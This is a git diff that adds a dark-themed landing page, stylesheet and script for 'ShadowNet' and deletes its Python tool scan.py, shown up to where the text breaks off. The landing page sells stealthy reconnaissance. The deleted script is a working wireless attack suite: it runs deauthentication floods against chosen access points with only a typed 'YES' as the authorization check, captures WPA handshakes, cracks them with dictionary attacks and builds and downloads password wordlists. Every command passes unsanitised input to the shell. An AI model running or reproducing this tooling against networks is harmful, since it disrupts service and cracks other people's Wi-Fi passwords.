1.1rem; + margin-bottom: 1.2rem; + position: relative; +} + +.link-group h3::after { + content: ''; + position: absolute; + bottom: -5px; + left: 0; + width: 30px; + height: 2px; + background: linear-gradient(90deg, var(--color-accent-primary), transparent); +} + +.link-group ul { + list-style: none; +} + +.link-group li { + margin-bottom: 0.8rem; +} + +.link-group a { + color: var(--color-text-secondary); + transition: all var(--transition-speed); + display: inline-flex; + align-items: center; + gap: 8px; +} + +.link-group a:hover { + color: var(--color-accent-primary); +} + +.link-group i { + font-size: 0.9rem; +} + +.footer-bottom { + padding-top: 2rem; + border-top: 1px solid var(--color-border); + display: flex; + justify-content: space-between; + align-items: center; + flex-wrap: wrap; + gap: 1rem; +} + +.footer-bottom p { + color: var(--color-text-secondary); + font-size: 0.9rem; +} + +.footer-bottom-links { + display: flex; + gap: 2rem; +} + +.footer-bottom-links a { + color: var(--color-text-secondary); + font-size: 0.9rem; +} + +/* Animations */ +@keyframes fadeIn { + from { opacity: 0; } + to { opacity: 1; } +} + +@keyframes fadeInUp { + from { + opacity: 0; + transform: translateY(20px); + } + to { + opacity: 1; + transform: translateY(0); + } +} + +@keyframes typing { + from { width: 0; } + to { width: 100%; } +} + +@keyframes blink { + 0%, 100% { opacity: 1; } + 50% { opacity: 0; } +} + +@keyframes scrollBackground { + 0% { background-position: 0 0; } + 100% { background-position: 0 1000px; } +} + +@keyframes glitch-effect { + 0% { + clip: rect(31px, 9999px, 94px, 0); + transform: skew(0.85deg); + } + 5% { + clip: rect(14px, 9999px, 25px, 0); + transform: skew(0.17deg); + } + 10% { + clip: rect(98px, 9999px, 18px, 0); + transform: skew(0.4deg); + } + 15% { + clip: rect(42px, 9999px, 11px, 0); + transform: skew(0.12deg); + } + 20% { + clip: rect(63px, 9999px, 22px, 0); + transform: skew(0.34deg); + } + 25% { + clip: rect(20px, 9999px, 13px, 0); + transform: skew(0.8deg); + } + 30% { + clip: rect(26px, 9999px, 30px, 0); + transform: skew(0.15deg); + } + 35% { + clip: rect(24px, 9999px, 71px, 0); + transform: skew(0.65deg); + } + 40% { + clip: rect(13px, 9999px, 56px, 0); + transform: skew(0.3deg); + } + 45% { + clip: rect(76px, 9999px, 91px, 0); + transform: skew(0.66deg); + } + 50% { + clip: rect(46px, 9999px, 33px, 0); + transform: skew(0.96deg); + } + 55% { + clip: rect(47px, 9999px, 37px, 0); + transform: skew(0.7deg); + } + 60% { + clip: rect(81px, 9999px, 41px, 0); + transform: skew(0.53deg); + } + 65% { + clip: rect(31px, 9999px, 90px, 0); + transform: skew(0.17deg); + } + 70% { + clip: rect(71px, 9999px, 52px, 0); + transform: skew(0.67deg); + } + 75% { + clip: rect(14px, 9999px, 95px, 0); + transform: skew(0.58deg); + } + 80% { + clip: rect(51px, 9999px, 75px, 0); + transform: skew(0.29deg); + } + 85% { + clip: rect(19px, 9999px, 10px, 0); + transform: skew(0.68deg); + } + 90% { + clip: rect(75px, 9999px, 77px, 0); + transform: skew(0.89deg); + } + 95% { + clip: rect(85px, 9999px, 89px, 0); + transform: skew(0.17deg); + } + 100% { + clip: rect(31px, 9999px, 14px, 0); + transform: skew(0.19deg); + } +} + +/* Media Queries */ +@media screen and (max-width: 1100px) { + .hero .container { + flex-direction: column; + gap: 3rem; + } + + .hero-content { + max-width: 100%; + text-align: center; + } + + .cta-buttons { + justify-content: center; + } + + .hero-image { + margin-top: 2rem; + } + + .terminal { + margin-left: 0; + max-width: 90%; + } + + .demo .container { + flex-direction: column; + } + + .stats { + flex-direction: column; + gap: 2rem; + } +} + +@media screen and (max-width: 768px) { + .nav-links, .github-link { + display: none; + } + + .menu-toggle { + display: flex; + } + + .hero h1 { + font-size: 3rem; + } + + .hero .subtitle { + font-size: 1.2rem; + } + + .section-title { + font-size: 2rem; + } + + .workflow-step { + flex-direction: column; + gap: 1rem; + } + + .step-number { + font-size: 2.5rem; + } + + .footer-top { + flex-direction: column; + align-items: center; + text-align: center; + } + + .link-group h3::after { + left: 50%; + transform: translateX(-50%); + } + + .footer-bottom { + flex-direction: column; + text-align: center; + } + + .footer-bottom-links { + justify-content: center; + } +} + +@media screen and (max-width: 576px) { + .hero h1 { + font-size: 2.5rem; + } + + .cta-buttons { + flex-direction: column; + gap: 1rem; + width: 100%; + } + + .cta-buttons a { + width: 100%; + } + + .features-grid { + grid-template-columns: 1fr; + } + + .download-options { + flex-direction: column; + align-items: center; + } + + .download-card { + width: 100%; + max-width: 300px; + } +} \ No newline at end of file diff --git a/docs/index.html b/docs/index.html new file mode 100644 index 0000000..3f3d183 --- /dev/null +++ b/docs/index.html @@ -0,0 +1,306 @@ + + + + + + ShadowNet | Advanced Network Security Tool + + + + + + + +
+
+ +
+ +
+ +
+
+
+

ShadowNet

+

Advanced Network Security & Reconnaissance Tool

+

Operate in the shadows. Secure your network perimeter with military-grade reconnaissance, vulnerability scanning, and threat detection.

+ +
+
+
+
+
+ + + +
+
shadownet v2.0
+
+
+
$ sudo python3 shadownet.py
+
Initializing ShadowNet engine...
+
Starting network reconnaissance...
+
[+] Discovered 8 hidden networks
+
[+] Analyzing access points...
+
[+] Revealing hidden SSIDs. Report available.
+
$_
+
+
+
+
+
+
+
+ +
+
+

Key Features

+

Advanced capabilities for network security professionals

+ +
+
+
+ +
+

Network Reconnaissance

+

Comprehensive scanning and mapping of network infrastructure with stealth capabilities.

+
+
+
+ +
+

Hidden SSID Discovery

+

Advanced techniques to uncover and identify hidden wireless networks.

+
+
+
+ +
+

Access Point Analysis

+

Detailed assessment of wireless access points including security protocols and vulnerabilities.

+
+
+
+ +
+

Wireless Security Testing

+

Tools for assessing the security of wireless networks including handshake capture.

+
+
+
+ +
+

Dictionary Attack Simulation

+

Simulate dictionary attacks to test password strength with customizable wordlists.

+
+
+
+ +
+

Command Line Interface

+

Powerful CLI with scripting capabilities for automated security workflows.

+
+
+
+
+ +
+
+

How ShadowNet Works

+

Sophisticated security in a simple workflow

+ +
+
+
01
+
+

Reconnaissance

+

ShadowNet silently maps your network topology, identifying all connected devices without triggering security alerts.

+
+
+ +
+
02
+
+

Vulnerability Analysis

+

Each discovered endpoint undergoes comprehensive security scanning to identify potential vulnerabilities and misconfigurations.

+
+
+ +
+
03
+
+

Threat Detection

+

Advanced algorithms analyze network traffic patterns to identify potential threats and unauthorized access attempts.

+
+
+ +
+
04
+
+

Reporting & Remediation

+

Detailed reports with actionable insights help you strengthen your security posture and eliminate vulnerabilities.

+
+
+
+
+
+ + +
+
+
+

About ShadowNet

+

ShadowNet was developed by cybersecurity professionals for cybersecurity professionals. Our mission is to provide advanced security tools that help organizations identify and remediate vulnerabilities before they can be exploited.

+

The project is open source and actively maintained by a dedicated community of security experts.

+
+
+ 0 + GitHub Stars +
+
+ 0 + Contributors +
+
+ 0 + Releases +
+
+
+
+
+ +
+
+

Quick Start Guide

+

Get up and running in minutes

+ +
+
+
+ Installation + +
+
$ git clone https://github.com/0nsec/ShadowNet.git
+$ cd ShadowNet
+$ sudo chmod +x setup.sh
+$ sudo ./setup.sh
+
+ +
+
+ Main Interface + +
+
$ sudo python3 scan.py
+
+ +
+
+ Advanced Configuration + +
+
$ sudo python3 scan.py --legacy
+
+
+ + +
+
+ + + + + + \ No newline at end of file diff --git a/docs/js/script.js b/docs/js/script.js new file mode 100644 index 0000000..a1b9a62 --- /dev/null +++ b/docs/js/script.js @@ -0,0 +1,99 @@ +// Wait for the DOM to be fully loaded +document.addEventListener('DOMContentLoaded', function() { + // Navbar scroll effect + const navbar = document.querySelector('.navbar'); + + window.addEventListener('scroll', function() { + if (window.scrollY > 50) { + navbar.classList.add('scrolled'); + } else { + navbar.classList.remove('scrolled'); + } + }); + + // Mobile menu toggle + const menuToggle = document.querySelector('.menu-toggle'); + const navLinks = document.querySelector('.nav-links'); + + if (menuToggle) { + menuToggle.addEventListener('click', function() { + navLinks.classList.toggle('active'); + menuToggle.classList.toggle('active'); + }); + } + + // Smooth scrolling for anchor links + document.querySelectorAll('a[href^="#"]').forEach(anchor => { + anchor.addEventListener('click', function(e) { + e.preventDefault(); + + const targetId = this.getAttribute('href'); + if (targetId === '#') return; + + const targetElement = document.querySelector(targetId); + if (targetElement) { + window.scrollTo({ + top: targetElement.offsetTop - 80, + behavior: 'smooth' + }); + + // Close mobile menu if open + if (navLinks.classList.contains('active')) { + navLinks.classList.remove('active'); + menuToggle.classList.remove('active'); + } + } + }); + }); + + // Copy to clipboard functionality + document.querySelectorAll('.copy-btn').forEach(button => { + button.addEventListener('click', function() { + const codeBlock = this.closest('.code-block, .install-command'); + const codeToCopy = codeBlock.querySelector('code') ? + codeBlock.querySelector('code').innerText : + codeBlock.querySelector('code, pre').innerText; + + navigator.clipboard.writeText(codeToCopy).then(() => { + // Visual feedback + const originalIcon = this.innerHTML; + this.innerHTML = ''; + + setTimeout(() => { + this.innerHTML = originalIcon; + }, 1500); + }); + }); + }); + + // Animation on scroll + const animateElements = document.querySelectorAll('.feature-card, .workflow-step, .download-card'); + + const observerOptions = { + threshold: 0.1, + rootMargin: '0px 0px -50px 0px' + }; + + const observer = new IntersectionObserver((entries) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + entry.target.style.opacity = '1'; + entry.target.style.transform = 'translateY(0)'; + observer.unobserve(entry.target); + } + }); + }, observerOptions); + + animateElements.forEach((element, index) => { + element.style.opacity = '0'; + element.style.transform = 'translateY(20px)'; + element.style.transition = `opacity 0.5s ease, transform 0.5s ease ${index * 0.1}s`; + observer.observe(element); + }); + + // Number counter animation + const statNumbers = document.querySelectorAll('.stat-number'); + + const statsObserver = new IntersectionObserver((entries) => { + entries.forEach(entry => { + if (entry.isIntersecting \ No newline at end of file diff --git a/requirements.txt b/requirements.txt deleted file mode 100644 index 53c6ac2..0000000 --- a/requirements.txt +++ /dev/null @@ -1,18 +0,0 @@ -# Hidden Networks Scanner Requirements -# Enhanced with Scapy for advanced 802.11 frame analysis - -# Python packages -scapy>=2.4.5 -netifaces>=0.11.0 -colorama>=0.4.4 -argparse - -# System dependencies (install via package manager): -# - wireless-tools -# - iw -# - network-manager -# - tcpdump -# - aircrack-ng (optional, for advanced features) - -# Python version requirement: -# python>=3.6 diff --git a/scan.py b/scan.py deleted file mode 100755 index 2e364c6..0000000 --- a/scan.py +++ /dev/null @@ -1,1465 +0,0 @@ -#!/usr/bin/env python3 -import subprocess -import sys -import time -import argparse -import json -import re -import threading -import random -import signal -from collections import defaultdict -from datetime import datetime -import os -from pathlib import Path - -try: - from colorama import init, Fore, Style - init(autoreset=True) - COLORAMA_AVAILABLE = True -except ImportError: - COLORAMA_AVAILABLE = False - -try: - from scapy.all import * - from scapy.layers.dot11 import * - import netifaces - SCAPY_AVAILABLE = True -except ImportError: - print("Warning: Scapy not available. Some advanced features will be disabled.") - SCAPY_AVAILABLE = False - - -ASCII_ART = [ - r" /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$$ /$$$$$$$$", - r"/$$__ $$| $$ | $$ /$$__ $$| $$__ $$ /$$__ $$| $$ /$ | $$| $$$ | $$| $$_____/|__ $$__/", - r"| $$ \__/| $$ | $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ /$$$| $$| $$$$| $$| $$ | $$ ", - r"| $$$$$$ | $$$$$$$$| $$$$$$$$| $$ | $$| $$ | $$| $$/$$ $$ $$| $$ $$ $$| $$$$$ | $$ ", - r" \____ $$| $$__ $$| $$__ $$| $$ | $$| $$ | $$| $$$$_ $$$$| $$ $$$$| $$__/ | $$ ", - r" /$$ \ $$| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$$/ \ $$$| $$\ $$$| $$ | $$ ", - r"| $$$$$$/| $$ | $$| $$ | $$| $$$$$$$/| $$$$$$/| $$/ \ $$| $$ \ $$| $$$$$$$$ | $$ ", - r" \______/ |__/ |__/|__/ |__/|_______/ \______/ |__/ \__/|__/ \__/|________/ |__/ " -] - - -def clear_screen(): - os.system('clear' if os.name == 'posix' else 'cls') - - -def shadownet_intro(): - if not COLORAMA_AVAILABLE: - print("SHADOWNET v2.0 - NETWORK INFILTRATION SUITE") - time.sleep(2) - return - - purple_colors = [Fore.MAGENTA, Fore.LIGHTMAGENTA_EX, Fore.BLUE, Fore.WHITE] - - for cycle in range(8): - clear_screen() - for line in ASCII_ART: - glitched_line = "" - for char in line: - if random.random() < 0.08: - glitched_line += random.choice(purple_colors) + chr(random.randint(33, 126)) - else: - glitched_line += Fore.MAGENTA + Style.BRIGHT + char - print(glitched_line) - time.sleep(0.15) - - clear_screen() - for line in ASCII_ART: - print(Fore.MAGENTA + Style.BRIGHT + line) - - print(Fore.CYAN + Style.BRIGHT + "\n" + "="*78) - print(Fore.WHITE + Style.BRIGHT + " NETWORK INFILTRATION SUITE") - print(Fore.WHITE + Style.BRIGHT + " --------------------------") - print(Fore.CYAN + Style.BRIGHT + "="*78) - time.sleep(2) - - -class ShadowNet: - def __init__(self): - self.banner = """ -╔══════════════════════════════════════════════════════════════════════════╗ -║ SHADOWNET v2.0 ║ -║ [01] NETWORK RECONNAISSANCE [05] WIRELESS BRUTEFORCE ║ -║ [02] HIDDEN SSID DISCOVERY [06] HANDSHAKE CAPTURE ║ -║ [03] ACCESS POINT ANALYSIS [07] DICTIONARY ATTACK ║ -║ [04] DEAUTH OPERATIONS [08] SYSTEM INFILTRATION ║ -║ [09] WORDLIST MANAGEMENT [10] FILE OPERATIONS ║ -║ ║ -║ [99] EXIT SHADOWNET ║ -║ ║ -╚══════════════════════════════════════════════════════════════════════════╝ - """ - self.wordlist_path = "/workspaces/ShadowNet/list.txt" - self.scanner = None - - def display_banner(self): - os.system('clear' if os.name == 'posix' else 'cls') - if COLORAMA_AVAILABLE: - print(Fore.CYAN + Style.BRIGHT + self.banner) - print(Fore.YELLOW + f"CURRENT TIME: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") - print(Fore.GREEN + f"OPERATOR: 0NSEC_OPERATIVE") - print(Fore.CYAN + Style.BRIGHT + "=" * 78) - else: - print(self.banner) - print(f"CURRENT TIME: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") - print(f"OPERATOR: 0NSEC_OPERATIVE") - print("=" * 78) - - def check_dependencies(self): - required_tools = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'nmap', 'iwlist'] - missing_tools = [] - - for tool in required_tools: - if subprocess.call(['which', tool], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0: - missing_tools.append(tool) - - if missing_tools: - print(f"[!] MISSING REQUIRED TOOLS: {', '.join(missing_tools)}") - print("[!] INSTALL WITH: sudo apt-get install aircrack-ng nmap wireless-tools") - return False - return True - - def create_wordlist(self): - if not Path(self.wordlist_path).exists(): - default_passwords = [ - "password", "123456", "admin", "root", "toor", "pass", - "12345678", "qwerty", "123456789", "letmein", "1234567890", - "football", "iloveyou", "admin123", "welcome", "monkey", - "login", "abc123", "starwars", "123123", "dragon", - "passw0rd", "master", "hello", "freedom", "whatever", - "qazwsx", "trustno1", "jordan23", "harley", "password123", - "princess", "solo", "abc", "qwerty123", "password1", - "welcome123", "admin1", "root123", "test", "guest", - "user", "superman", "batman", "shadow", "hacker", - "dedsec", "watchdogs", "network", "wireless", "internet" - ] - - with open(self.wordlist_path, 'w') as f: - for password in default_passwords: - f.write(password + '\n') - print(f"[+] WORDLIST CREATED: {self.wordlist_path}") - - def network_recon(self): - print("\n[*] NETWORK RECONNAISSANCE MODULE") - print("=" * 50) - target = input("[+] ENTER TARGET RANGE (192.168.1.0/24): ") - - if not target: - print("[!] NO TARGET SPECIFIED") - return - - print(f"[*] SCANNING {target}...") - cmd = f"nmap -sn {target}" - subprocess.run(cmd, shell=True) - - input("\n[PRESS ENTER TO CONTINUE]") - - def hidden_ssid_discovery(self): - print("\n[*] HIDDEN SSID DISCOVERY MODULE") - print("=" * 50) - - if not hasattr(self, 'scanner') or self.scanner is None: - self.scanner = HiddenNetworkScanner(timeout=60, passive_scan=True, use_scapy=True) - - try: - networks = self.scanner.scan_networks() - self.scanner.display_results(networks) - except Exception as e: - print(f"[!] SCAN ERROR: {e}") - - input("\n[PRESS ENTER TO CONTINUE]") - - def access_point_analysis(self): - print("\n[*] ACCESS POINT ANALYSIS MODULE") - print("=" * 50) - print("[1] LIST WIRELESS INTERFACES") - print("[2] ENABLE MONITOR MODE") - print("[3] SCAN ACCESS POINTS") - print("[4] DETAILED NETWORK INFO") - - choice = input("[+] SELECT OPTION: ") - - if choice == "1": - subprocess.run("iwconfig", shell=True) - elif choice == "2": - interface = input("[+] INTERFACE (wlan0): ") - print(f"[*] ENABLING MONITOR MODE ON {interface}...") - subprocess.run(f"sudo airmon-ng start {interface}", shell=True) - elif choice == "3": - interface = input("[+] MONITOR INTERFACE (wlan0mon): ") - print(f"[*] SCANNING ACCESS POINTS ON {interface}...") - subprocess.run(f"sudo airodump-ng {interface}", shell=True) - elif choice == "4": - interface = input("[+] INTERFACE: ") - subprocess.run(f"sudo iwlist {interface} scan", shell=True) - - input("\n[PRESS ENTER TO CONTINUE]") - - def deauth_operations(self): - print("\n[*] DEAUTH OPERATIONS MODULE") - print("=" * 50) - print("[!] WARNING: FOR AUTHORIZED TESTING ONLY") - - confirm = input("[+] CONFIRM AUTHORIZATION (YES/NO): ") - if confirm.upper() != "YES": - print("[!] OPERATION CANCELLED") - return - - interface = input("[+] MONITOR INTERFACE: ") - target_bssid = input("[+] TARGET BSSID: ") - client_mac = input("[+] CLIENT MAC (ENTER FOR BROADCAST): ") - packets = input("[+] PACKET COUNT (10): ") or "10" - - if not client_mac: - client_mac = "FF:FF:FF:FF:FF:FF" - - print(f"[*] LAUNCHING DEAUTH ATTACK...") - cmd = f"sudo aireplay-ng -0 {packets} -a {target_bssid} -c {client_mac} {interface}" - subprocess.run(cmd, shell=True) - - input("\n[PRESS ENTER TO CONTINUE]") - - def wireless_bruteforce(self): - print("\n[*] WIRELESS BRUTEFORCE MODULE") - print("=" * 50) - - print("[1] USE DEFAULT WORDLIST") - print("[2] SPECIFY CUSTOM WORDLIST") - - choice = input("[+] SELECT OPTION: ") - - if choice == "1": - wordlist = self.wordlist_path - if not Path(wordlist).exists(): - self.create_wordlist() - elif choice == "2": - wordlist = input("[+] WORDLIST FILE PATH: ") - if not wordlist or not Path(wordlist).exists(): - print("[!] WORDLIST FILE NOT FOUND") - return - else: - print("[!] INVALID SELECTION") - return - - handshake_file = input("[+] HANDSHAKE FILE (.cap): ") - if not handshake_file or not Path(handshake_file).exists(): - print("[!] HANDSHAKE FILE NOT FOUND") - return - - print(f"[*] USING WORDLIST: {wordlist}") - print(f"[*] STARTING BRUTEFORCE ATTACK...") - - cmd = f"aircrack-ng -w {wordlist} {handshake_file}" - subprocess.run(cmd, shell=True) - - input("\n[PRESS ENTER TO CONTINUE]") - - def handshake_capture(self): - print("\n[*] HANDSHAKE CAPTURE MODULE") - print("=" * 50) - - interface = input("[+] MONITOR INTERFACE: ") - target_bssid = input("[+] TARGET BSSID: ") - channel = input("[+] TARGET CHANNEL: ") - output_file = input("[+] OUTPUT FILE NAME: ") or "handshake" - - print(f"[*] CAPTURING HANDSHAKE FROM {target_bssid}") - print("[*] CTRL+C TO STOP CAPTURE") - - cmd = f"sudo airodump-ng -c {channel} --bssid {target_bssid} -w {output_file} {interface}" - try: - subprocess.run(cmd, shell=True) - except KeyboardInterrupt: - print("\n[*] CAPTURE STOPPED") - - input("\n[PRESS ENTER TO CONTINUE]") - - def dictionary_attack(self): - print("\n[*] DICTIONARY ATTACK MODULE") - print("=" * 50) - - print("[1] USE DEFAULT WORDLIST") - print("[2] SPECIFY CUSTOM WORDLIST") - print("[3] GENERATE NEW WORDLIST") - - choice = input("[+] SELECT OPTION: ") - - if choice == "1": - wordlist = self.wordlist_path - if not Path(wordlist).exists(): - self.create_wordlist() - elif choice == "2": - wordlist = input("[+] WORDLIST FILE PATH: ") - if not wordlist or not Path(wordlist).exists(): - print("[!] WORDLIST FILE NOT FOUND") - return - elif choice == "3": - self.generate_custom_wordlist() - wordlist = self.wordlist_path - else: - print("[!] INVALID SELECTION") - return - - handshake_file = input("[+] HANDSHAKE FILE: ") - if not Path(handshake_file).exists(): - print("[!] HANDSHAKE FILE NOT FOUND") - return - - print(f"[*] USING WORDLIST: {wordlist}") - print(f"[*] LAUNCHING DICTIONARY ATTACK...") - cmd = f"aircrack-ng -w {wordlist} {handshake_file}" - subprocess.run(cmd, shell=True) - - input("\n[PRESS ENTER TO CONTINUE]") - - def generate_custom_wordlist(self): - print("\n[*] WORDLIST GENERATOR") - print("=" * 30) - - base_words = input("[+] BASE WORDS (comma separated): ").split(',') - min_length = int(input("[+] MIN LENGTH (8): ") or "8") - max_length = int(input("[+] MAX LENGTH (16): ") or "16") - - wordlist = [] - - for word in base_words: - word = word.strip() - wordlist.append(word) - wordlist.append(word.upper()) - wordlist.append(word.lower()) - wordlist.append(word.capitalize()) - - for i in range(100): - wordlist.append(f"{word}{i}") - wordlist.append(f"{word}{i:02d}") - wordlist.append(f"{word}{i:03d}") - - for year in range(2000, 2026): - wordlist.append(f"{word}{year}") - - common_suffixes = ["123", "456", "789", "000", "111", "!", "@", "#", "$"] - for word in base_words: - for suffix in common_suffixes: - wordlist.append(f"{word.strip()}{suffix}") - - filtered_wordlist = [w for w in wordlist if min_length <= len(w) <= max_length] - - with open(self.wordlist_path, 'w') as f: - for password in set(filtered_wordlist): - f.write(password + '\n') - - print(f"[+] GENERATED {len(set(filtered_wordlist))} PASSWORDS") - - def wordlist_management(self): - print("\n[*] WORDLIST MANAGEMENT MODULE") - print("=" * 50) - print("[1] VIEW DEFAULT WORDLIST") - print("[2] CREATE CUSTOM WORDLIST") - print("[3] MERGE WORDLISTS") - print("[4] WORDLIST STATISTICS") - print("[5] DOWNLOAD WORDLISTS") - - choice = input("[+] SELECT OPTION: ") - - if choice == "1": - self.view_wordlist() - elif choice == "2": - self.create_custom_wordlist() - elif choice == "3": - self.merge_wordlists() - elif choice == "4": - self.wordlist_stats() - elif choice == "5": - self.download_wordlists() - - input("\n[PRESS ENTER TO CONTINUE]") - - def view_wordlist(self): - wordlist_path = input("[+] WORDLIST PATH (ENTER FOR DEFAULT): ") or self.wordlist_path - - if not Path(wordlist_path).exists(): - print("[!] WORDLIST NOT FOUND") - return - - try: - with open(wordlist_path, 'r') as f: - lines = f.readlines() - - print(f"\n[*] WORDLIST: {wordlist_path}") - print(f"[*] TOTAL PASSWORDS: {len(lines)}") - print("=" * 30) - - show_all = input("[+] SHOW ALL PASSWORDS? (y/N): ").lower() == 'y' - - if show_all: - for i, line in enumerate(lines, 1): - print(f"{i:4d}: {line.strip()}") - else: - print("FIRST 20 PASSWORDS:") - for i, line in enumerate(lines[:20], 1): - print(f"{i:4d}: {line.strip()}") - if len(lines) > 20: - print(f"... AND {len(lines) - 20} MORE") - - except Exception as e: - print(f"[!] ERROR READING WORDLIST: {e}") - - def create_custom_wordlist(self): - print("\n[*] CUSTOM WORDLIST CREATOR") - print("=" * 30) - - output_file = input("[+] OUTPUT FILENAME: ") or "custom_wordlist.txt" - - print("\n[1] MANUAL ENTRY") - print("[2] PATTERN GENERATION") - print("[3] IMPORT FROM FILE") - - method = input("[+] SELECT METHOD: ") - - passwords = [] - - if method == "1": - print("[*] ENTER PASSWORDS (EMPTY LINE TO FINISH)") - while True: - password = input("PASSWORD: ") - if not password: - break - passwords.append(password) - - elif method == "2": - base_word = input("[+] BASE WORD: ") - include_numbers = input("[+] INCLUDE NUMBERS? (y/N): ").lower() == 'y' - include_years = input("[+] INCLUDE YEARS? (y/N): ").lower() == 'y' - include_symbols = input("[+] INCLUDE SYMBOLS? (y/N): ").lower() == 'y' - - passwords.append(base_word) - passwords.append(base_word.upper()) - passwords.append(base_word.lower()) - passwords.append(base_word.capitalize()) - - if include_numbers: - for i in range(1000): - passwords.extend([ - f"{base_word}{i}", - f"{i}{base_word}", - f"{base_word}{i:02d}", - f"{base_word}{i:03d}" - ]) - - if include_years: - for year in range(1990, 2030): - passwords.append(f"{base_word}{year}") - - if include_symbols: - symbols = ["!", "@", "#", "$", "%", "123", "321"] - for symbol in symbols: - passwords.append(f"{base_word}{symbol}") - - elif method == "3": - source_file = input("[+] SOURCE FILE PATH: ") - if Path(source_file).exists(): - with open(source_file, 'r') as f: - passwords = [line.strip() for line in f.readlines()] - else: - print("[!] SOURCE FILE NOT FOUND") - return - - if passwords: - with open(output_file, 'w') as f: - for password in set(passwords): - if password.strip(): - f.write(password.strip() + '\n') - - print(f"[+] CREATED WORDLIST: {output_file}") - print(f"[+] TOTAL PASSWORDS: {len(set(passwords))}") - - def merge_wordlists(self): - print("\n[*] WORDLIST MERGER") - print("=" * 20) - - wordlists = [] - print("[*] ENTER WORDLIST PATHS (EMPTY LINE TO FINISH)") - - while True: - path = input("WORDLIST PATH: ") - if not path: - break - if Path(path).exists(): - wordlists.append(path) - else: - print("[!] FILE NOT FOUND") - - if len(wordlists) < 2: - print("[!] NEED AT LEAST 2 WORDLISTS") - return - - output_file = input("[+] OUTPUT FILENAME: ") or "merged_wordlist.txt" - - all_passwords = set() - - for wordlist in wordlists: - try: - with open(wordlist, 'r') as f: - passwords = [line.strip() for line in f.readlines()] - all_passwords.update(passwords) - print(f"[+] LOADED {len(passwords)} FROM {wordlist}") - except Exception as e: - print(f"[!] ERROR READING {wordlist}: {e}") - - with open(output_file, 'w') as f: - for password in sorted(all_passwords): - if password: - f.write(password + '\n') - - print(f"[+] MERGED WORDLIST CREATED: {output_file}") - print(f"[+] TOTAL UNIQUE PASSWORDS: {len(all_passwords)}") - - def wordlist_stats(self): - wordlist_path = input("[+] WORDLIST PATH: ") - - if not Path(wordlist_path).exists(): - print("[!] WORDLIST NOT FOUND") - return - - try: - with open(wordlist_path, 'r') as f: - passwords = [line.strip() for line in f.readlines()] - - lengths = [len(p) for p in passwords if p] - - print(f"\n[*] WORDLIST STATISTICS: {wordlist_path}") - print("=" * 40) - print(f"TOTAL PASSWORDS: {len(passwords)}") - print(f"UNIQUE PASSWORDS: {len(set(passwords))}") - print(f"AVERAGE LENGTH: {sum(lengths)/len(lengths):.1f}") - print(f"MIN LENGTH: {min(lengths)}") - print(f"MAX LENGTH: {max(lengths)}") - - length_dist = {} - for length in lengths: - length_dist[length] = length_dist.get(length, 0) + 1 - - print(f"\nLENGTH DISTRIBUTION:") - for length in sorted(length_dist.keys())[:10]: - print(f" {length} chars: {length_dist[length]} passwords") - - except Exception as e: - print(f"[!] ERROR ANALYZING WORDLIST: {e}") - - def download_wordlists(self): - print("\n[*] WORDLIST DOWNLOADER") - print("=" * 25) - print("[1] ROCKYOU.TXT") - print("[2] COMMON PASSWORDS") - print("[3] WIFI PASSWORDS") - print("[4] CUSTOM URL") - - choice = input("[+] SELECT OPTION: ") - - if choice == "1": - url = "https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt" - filename = "rockyou.txt" - elif choice == "2": - url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt" - filename = "common_passwords.txt" - elif choice == "3": - url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt" - filename = "wifi_passwords.txt" - elif choice == "4": - url = input("[+] URL: ") - filename = input("[+] FILENAME: ") - else: - return - - print(f"[*] DOWNLOADING {filename}...") - try: - import urllib.request - urllib.request.urlretrieve(url, filename) - print(f"[+] DOWNLOADED: {filename}") - except Exception as e: - print(f"[!] DOWNLOAD FAILED: {e}") - - def file_operations(self): - print("\n[*] FILE OPERATIONS MODULE") - print("=" * 50) - print("[1] LIST CAPTURE FILES") - print("[2] ANALYZE HANDSHAKE") - print("[3] FILE CONVERTER") - print("[4] CLEAN TEMP FILES") - - choice = input("[+] SELECT OPTION: ") - - if choice == "1": - self.list_capture_files() - elif choice == "2": - self.analyze_handshake() - elif choice == "3": - self.file_converter() - elif choice == "4": - self.clean_temp_files() - - input("\n[PRESS ENTER TO CONTINUE]") - - def list_capture_files(self): - print("\n[*] CAPTURE FILES") - print("=" * 20) - - cap_files = list(Path(".").glob("*.cap")) + list(Path(".").glob("*.pcap")) - - if not cap_files: - print("[!] NO CAPTURE FILES FOUND") - return - - for i, file in enumerate(cap_files, 1): - size = file.stat().st_size - modified = datetime.fromtimestamp(file.stat().st_mtime) - print(f"{i:2d}: {file.name} ({size} bytes, {modified.strftime('%Y-%m-%d %H:%M')})") - - def analyze_handshake(self): - handshake_file = input("[+] HANDSHAKE FILE: ") - - if not Path(handshake_file).exists(): - print("[!] FILE NOT FOUND") - return - - print(f"[*] ANALYZING {handshake_file}...") - cmd = f"aircrack-ng {handshake_file}" - subprocess.run(cmd, shell=True) - - def file_converter(self): - print("\n[*] FILE CONVERTER") - print("=" * 20) - print("[1] CAP TO HCCAPX") - print("[2] PCAP TO CAP") - - choice = input("[+] SELECT CONVERSION: ") - - if choice == "1": - input_file = input("[+] INPUT CAP FILE: ") - output_file = input("[+] OUTPUT HCCAPX FILE: ") - - if Path(input_file).exists(): - cmd = f"cap2hccapx {input_file} {output_file}" - subprocess.run(cmd, shell=True) - else: - print("[!] INPUT FILE NOT FOUND") - - elif choice == "2": - input_file = input("[+] INPUT PCAP FILE: ") - output_file = input("[+] OUTPUT CAP FILE: ") - - if Path(input_file).exists(): - cmd = f"editcap {input_file} {output_file}" - subprocess.run(cmd, shell=True) - else: - print("[!] INPUT FILE NOT FOUND") - - def clean_temp_files(self): - print("\n[*] CLEANING TEMPORARY FILES...") - - temp_patterns = ["*.tmp", "*.temp", "*-01.cap", "*-01.csv", "*-01.kismet.csv"] - cleaned = 0 - - for pattern in temp_patterns: - files = 